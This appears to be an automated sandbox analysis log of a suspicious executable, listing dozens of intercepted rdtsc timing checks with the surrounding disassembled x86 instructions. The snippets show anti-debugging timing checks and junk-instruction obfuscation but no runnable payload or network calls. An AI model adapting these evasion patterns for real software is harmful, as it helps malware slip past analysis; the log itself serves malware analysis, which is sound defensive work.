Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B4026B second address: 4B4026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60726 second address: 4B6072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B6072A second address: 4B60730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60730 second address: 4B607BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F06147E6008h 0x00000009 or cl, FFFFFF98h 0x0000000c jmp 00007F06147E5FFBh 0x00000011 popfd 0x00000012 movzx eax, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ecx 0x00000019 pushad 0x0000001a mov dx, cx 0x0000001d mov dx, ax 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 jmp 00007F06147E6004h 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F06147E5FFEh 0x00000032 sub esi, 30FBE858h 0x00000038 jmp 00007F06147E5FFBh 0x0000003d popfd 0x0000003e mov edx, ecx 0x00000040 popad 0x00000041 xchg eax, ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F06147E6001h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B607BC second address: 4B607D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B607D7 second address: 4B607DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B607DF second address: 4B607E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B607E5 second address: 4B607E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B607E9 second address: 4B60803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F061450AC2Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60803 second address: 4B60846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov edi, 390566B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [76FB65FCh] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F06147E6006h 0x0000001b adc esi, 61B231D8h 0x00000021 jmp 00007F06147E5FFBh 0x00000026 popfd 0x00000027 mov ax, 108Fh 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60846 second address: 4B60872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b pushad 0x0000000c mov cl, F8h 0x0000000e mov bh, 0Bh 0x00000010 popad 0x00000011 je 00007F06868DDD25h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60872 second address: 4B60877 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60877 second address: 4B60896 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F061450AC33h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60896 second address: 4B60926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 mov ebx, 09A2CC36h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor eax, dword ptr [ebp+08h] 0x00000010 pushad 0x00000011 jmp 00007F06147E6008h 0x00000016 jmp 00007F06147E6002h 0x0000001b popad 0x0000001c and ecx, 1Fh 0x0000001f jmp 00007F06147E6000h 0x00000024 ror eax, cl 0x00000026 jmp 00007F06147E6000h 0x0000002b leave 0x0000002c jmp 00007F06147E6000h 0x00000031 retn 0004h 0x00000034 nop 0x00000035 mov esi, eax 0x00000037 lea eax, dword ptr [ebp-08h] 0x0000003a xor esi, dword ptr [001E2014h] 0x00000040 push eax 0x00000041 push eax 0x00000042 push eax 0x00000043 lea eax, dword ptr [ebp-10h] 0x00000046 push eax 0x00000047 call 00007F06191A6841h 0x0000004c push FFFFFFFEh 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F06147E6007h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60926 second address: 4B60975 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 58AEF0EAh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jmp 00007F061450AC2Ch 0x00000011 ret 0x00000012 nop 0x00000013 push eax 0x00000014 call 00007F0618ECB49Eh 0x00000019 mov edi, edi 0x0000001b jmp 00007F061450AC30h 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 jmp 00007F061450AC2Eh 0x00000027 call 00007F061450AC32h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60975 second address: 4B60982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov ebx, esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60982 second address: 4B609B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F061450AC31h 0x00000009 jmp 00007F061450AC2Bh 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov dx, 9F12h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B609B0 second address: 4B609D0 instructions: 0x00000000 rdtsc 0x00000002 call 00007F06147E6003h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B609D0 second address: 4B60A03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F061450AC2Dh 0x0000000c xor si, E896h 0x00000011 jmp 00007F061450AC31h 0x00000016 popfd 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60A03 second address: 4B60A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60A07 second address: 4B60A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B60A0B second address: 4B60A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B100C1 second address: 4B10118 instructions: 0x00000000 rdtsc 0x00000002 call 00007F061450AC30h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov di, 9296h 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F061450AC2Ch 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dl, 8Fh 0x0000001b pushfd 0x0000001c jmp 00007F061450AC36h 0x00000021 sbb ecx, 1FEF39E8h 0x00000027 jmp 00007F061450AC2Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10118 second address: 4B10130 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E6004h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10130 second address: 4B10134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10134 second address: 4B10156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov dh, al 0x0000000c movsx ebx, cx 0x0000000f popad 0x00000010 mov dword ptr [esp], ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F06147E5FFDh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10156 second address: 4B101AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c pushad 0x0000000d push eax 0x0000000e jmp 00007F061450AC33h 0x00000013 pop eax 0x00000014 mov di, 774Ch 0x00000018 popad 0x00000019 push esp 0x0000001a jmp 00007F061450AC30h 0x0000001f mov dword ptr [esp], esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jmp 00007F061450AC2Dh 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B101AE second address: 4B101FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F06147E6003h 0x00000009 and ah, 0000005Eh 0x0000000c jmp 00007F06147E6009h 0x00000011 popfd 0x00000012 jmp 00007F06147E6000h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+08h] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B101FD second address: 4B10201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10201 second address: 4B10256 instructions: 0x00000000 rdtsc 0x00000002 mov dx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F06147E6006h 0x0000000d and ah, FFFFFFB8h 0x00000010 jmp 00007F06147E5FFBh 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, edi 0x00000018 pushad 0x00000019 call 00007F06147E6004h 0x0000001e pop eax 0x0000001f push eax 0x00000020 push edx 0x00000021 call 00007F06147E5FFDh 0x00000026 pop eax 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10256 second address: 4B102E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F061450AC2Ah 0x0000000d xchg eax, edi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F061450AC2Eh 0x00000015 xor al, FFFFFFA8h 0x00000018 jmp 00007F061450AC2Bh 0x0000001d popfd 0x0000001e call 00007F061450AC38h 0x00000023 pushfd 0x00000024 jmp 00007F061450AC32h 0x00000029 xor ch, 00000038h 0x0000002c jmp 00007F061450AC2Bh 0x00000031 popfd 0x00000032 pop ecx 0x00000033 popad 0x00000034 test esi, esi 0x00000036 jmp 00007F061450AC2Fh 0x0000003b je 00007F0686928F66h 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 mov esi, edx 0x00000046 pushad 0x00000047 popad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B102E3 second address: 4B102E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B102E9 second address: 4B102ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B102ED second address: 4B103C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f pushad 0x00000010 pushad 0x00000011 mov bh, cl 0x00000013 push edi 0x00000014 pop esi 0x00000015 popad 0x00000016 movsx ebx, cx 0x00000019 popad 0x0000001a je 00007F0686C0431Ah 0x00000020 jmp 00007F06147E5FFCh 0x00000025 mov edx, dword ptr [esi+44h] 0x00000028 jmp 00007F06147E6000h 0x0000002d or edx, dword ptr [ebp+0Ch] 0x00000030 pushad 0x00000031 mov ax, 01EDh 0x00000035 pushfd 0x00000036 jmp 00007F06147E5FFAh 0x0000003b sbb ecx, 0D81FD88h 0x00000041 jmp 00007F06147E5FFBh 0x00000046 popfd 0x00000047 popad 0x00000048 test edx, 61000000h 0x0000004e jmp 00007F06147E6006h 0x00000053 jne 00007F0686C04310h 0x00000059 pushad 0x0000005a movsx edi, si 0x0000005d popad 0x0000005e test byte ptr [esi+48h], 00000001h 0x00000062 pushad 0x00000063 mov esi, 602BA171h 0x00000068 pushfd 0x00000069 jmp 00007F06147E5FFEh 0x0000006e adc cx, 7248h 0x00000073 jmp 00007F06147E5FFBh 0x00000078 popfd 0x00000079 popad 0x0000007a jne 00007F0686C042F3h 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007F06147E6005h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00694 second address: 4B0069A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0069A second address: 4B0069E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0069E second address: 4B006A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B006A2 second address: 4B006EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F06147E6008h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F06147E6000h 0x00000014 mov ebp, esp 0x00000016 jmp 00007F06147E6000h 0x0000001b and esp, FFFFFFF8h 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B006EE second address: 4B007A9 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 637ECCA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F061450AC36h 0x0000000f sub esi, 54FC7878h 0x00000015 jmp 00007F061450AC2Bh 0x0000001a popfd 0x0000001b popad 0x0000001c xchg eax, ebx 0x0000001d jmp 00007F061450AC36h 0x00000022 push eax 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F061450AC2Ch 0x0000002a sub ax, 6208h 0x0000002f jmp 00007F061450AC2Bh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, ebx 0x00000037 jmp 00007F061450AC36h 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007F061450AC2Eh 0x00000044 sub si, D798h 0x00000049 jmp 00007F061450AC2Bh 0x0000004e popfd 0x0000004f mov ah, 99h 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F061450AC31h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B007A9 second address: 4B00882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F06147E6007h 0x00000009 sub ax, 5DBEh 0x0000000e jmp 00007F06147E6009h 0x00000013 popfd 0x00000014 mov si, 2F07h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F06147E6008h 0x00000023 sbb ah, FFFFFFE8h 0x00000026 jmp 00007F06147E5FFBh 0x0000002b popfd 0x0000002c mov dx, si 0x0000002f popad 0x00000030 mov esi, dword ptr [ebp+08h] 0x00000033 pushad 0x00000034 pushad 0x00000035 call 00007F06147E5FFEh 0x0000003a pop ecx 0x0000003b pushfd 0x0000003c jmp 00007F06147E5FFBh 0x00000041 sub ah, FFFFFFDEh 0x00000044 jmp 00007F06147E6009h 0x00000049 popfd 0x0000004a popad 0x0000004b push eax 0x0000004c jmp 00007F06147E6007h 0x00000051 pop esi 0x00000052 popad 0x00000053 mov ebx, 00000000h 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F06147E5FFBh 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00882 second address: 4B0089A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0089A second address: 4B008FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F06147E6006h 0x00000012 je 00007F0686C0BAC1h 0x00000018 jmp 00007F06147E6000h 0x0000001d cmp dword ptr [esi+08h], DDEEDDEEh 0x00000024 jmp 00007F06147E6000h 0x00000029 mov ecx, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov eax, edi 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B008FA second address: 4B00909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00909 second address: 4B00956 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F0686C0BA88h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F06147E5FFEh 0x00000016 pop eax 0x00000017 pushfd 0x00000018 jmp 00007F06147E5FFBh 0x0000001d or esi, 5DBB2ACEh 0x00000023 jmp 00007F06147E6009h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00956 second address: 4B00966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00966 second address: 4B0096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B0096A second address: 4B009B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [76FB6968h], 00000002h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F061450AC33h 0x00000018 sub ecx, 2F7F558Eh 0x0000001e jmp 00007F061450AC39h 0x00000023 popfd 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B009B0 second address: 4B00A0B instructions: 0x00000000 rdtsc 0x00000002 movzx esi, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F06147E5FFDh 0x0000000d sub al, FFFFFFC6h 0x00000010 jmp 00007F06147E6001h 0x00000015 popfd 0x00000016 popad 0x00000017 jne 00007F0686C0B9D1h 0x0000001d pushad 0x0000001e call 00007F06147E5FFCh 0x00000023 movzx esi, bx 0x00000026 pop edx 0x00000027 call 00007F06147E5FFCh 0x0000002c push esi 0x0000002d pop edi 0x0000002e pop eax 0x0000002f popad 0x00000030 mov edx, dword ptr [ebp+0Ch] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A0B second address: 4B00A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A0F second address: 4B00A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A13 second address: 4B00A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A19 second address: 4B00A55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d call 00007F06147E6000h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 mov ch, dl 0x00000017 popad 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F06147E6006h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A55 second address: 4B00A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A5B second address: 4B00A6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A6A second address: 4B00A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A6E second address: 4B00A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A72 second address: 4B00A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00A78 second address: 4B00AD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E5FFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e pushfd 0x0000000f jmp 00007F06147E6009h 0x00000014 adc ax, 1A06h 0x00000019 jmp 00007F06147E6001h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F06147E6003h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00AD8 second address: 4B00ADC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00ADC second address: 4B00AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B38 second address: 4B00B3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B3E second address: 4B00B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B42 second address: 4B00B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B5D second address: 4B00B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B61 second address: 4B00B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B67 second address: 4B00B6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B00B6D second address: 4B00B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10DC5 second address: 4B10DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10DC9 second address: 4B10DCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B10DCF second address: 4B10DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 42h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F06147E6005h 0x00000012 pop esi 0x00000013 mov ecx, edx 0x00000015 popad 0x00000016 rdtsc
